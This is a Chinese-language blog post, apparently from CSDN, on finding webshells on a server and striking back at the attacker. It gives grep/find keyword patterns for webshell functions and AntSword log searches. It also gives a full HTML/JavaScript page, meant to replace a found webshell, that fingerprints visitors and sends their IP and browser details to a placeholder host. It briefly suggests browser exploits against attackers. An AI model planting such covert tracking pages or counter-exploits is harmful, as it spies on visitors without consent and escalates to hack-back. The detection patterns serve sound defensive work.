Webshell溯源排査与反制

工具查杀

使用d盾、安全狗、护卫神等webshell查杀工具查杀web目录

d盾:
D盾防火墙

网站安全狗:
网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改

百度webshell查杀引擎:
https://scanner.baidu.com/#/pages/intro

手工查杀

由于某些变种webshell查杀工具很难发现,所以有些时候需要手工从其他维度去查杀,比如修改时间,日志,备份对比等。

上传目录关键字查找

上传目录是最有可能存在webshell的,一般来说需要优先排查上传目录

脚本代码排查
复制代码
grep -rn php upload/
关键字排查

eval、system、assert、phpspy、c99sh、milw0rm、gunerpress、shell_exec、passthru、bash等关键字

复制代码
find /www/upload -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval\(|file_put_contents|base64_decode'

web非上传目录排查增删查改

如果上传目录没有发现webshell,那么有可能攻击者使用了除web上传接口的其他途径写入了文件,如命令执行等,此时需要排查web目录的非上传路径。

备份对比

对比非常传目录前后文件变动,寻找可疑文件,再进一步关键字匹配分析

复制代码
vimdiff <(cd /tmp/1.1; find . | sort) <(cd /tmp/1.2; find . | sort) 
时间戳排查

跟据情况调取短期内改动文件分析

复制代码
find / -mtime -10 -mtime +1 2>/dev/null #一天前,十天内变动的文件

文件名排查

使用tree命令列举整个web目录文件,然后排查可疑文件

windows linux都可用

复制代码
tree /var/www/

日志排查

复制代码
cat /var/log/apache2/access.log | grep "antSword"

反向利用

1.篡改webshell页面利用js获取攻击者信息。

利用js获取信息例子

可获取对方ip、系统时间、浏览器各项信息等

复制代码
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title></title>
	</head>

	<body>
<script>
	Date.prototype.Format = function (fmt) {
    var o = {
        "M+": this.getMonth() + 1, // 月份
        "d+": this.getDate(), // 日
        "h+": this.getHours(), // 小时
        "m+": this.getMinutes(), // 分
        "s+": this.getSeconds(), // 秒
        "q+": Math.floor((this.getMonth() + 3) / 3), // 季度
        "S": this.getMilliseconds() // 毫秒
    };
    if (/(y+)/.test(fmt))
        fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
    for (var k in o)
        if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
            return fmt;
}
</script>
		<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script> 
		<script> 
		      document.write(returnCitySN["cip"]+','+returnCitySN["cname"]+"</br>") 
		</script>
		<script type="text/javascript">
		let time = new Date().Format("yyyy-MM-dd hh:mm:ss")
		document.write(time+"</br>")
		</script>
		<script type="text/javascript">
    document.write("userAgent: " + navigator.userAgent + "<br>");
    document.write("appName: " + navigator.appName + "<br>");
    document.write("appCodeName: " + navigator.appCodeName + "<br>");
    document.write("appVersion: " + navigator.appVersion + "<br>");
    document.write("appMinorVersion: " + navigator.appMinorVersion + "<br>");
    document.write("platform: " + navigator.platform + "<br>");
    document.write("cookieEnabled: " + navigator.cookieEnabled + "<br>");
    document.write("onLine: " + navigator.onLine + "<br>");
    document.write("userLanguage: " + navigator.language + "<br>");
    document.write("mimeTypes.description: " + navigator.mimeTypes[1].description + "<br>");
    document.write("mimeTypes.type: " + navigator.mimeTypes[1].type + "<br>");
    document.write("plugins.description: " + navigator.plugins[3].description + "<br>");
	var str_all = returnCitySN["cip"]+','+returnCitySN["cname"]+','+time+','+navigator.userAgent+','+navigator.appVersion+','+navigator.platform
	var url = "http://xx.xx.xx.xx:8000/?info="+str_all
	var request = new XMLHttpRequest();
	request.open("GET",url)
	request.send();
  </script>
	</body>
</html>

然后接收服务器写一个小处理脚本将其保存下来

为求方便也可以使用xss平台来接收

2.利用浏览器漏洞反制攻击者。

可架设攻击浏览器历史漏洞的页面,但是成功概率不高

3.反制webshell管理工具

可参考文章《端内钓鱼,反制蚁剑》

端内钓鱼,反制蚁剑

相关推荐
大方子1 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha3 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络3 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd6 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
darkb1rd6 小时前
七、PHP配置(php.ini)安全最佳实践
安全·php·webshell
世界尽头与你10 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
darkb1rd11 小时前
六、PHP错误处理与异常机制
安全·php·webshell
枷锁—sha1 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1191 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20251 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信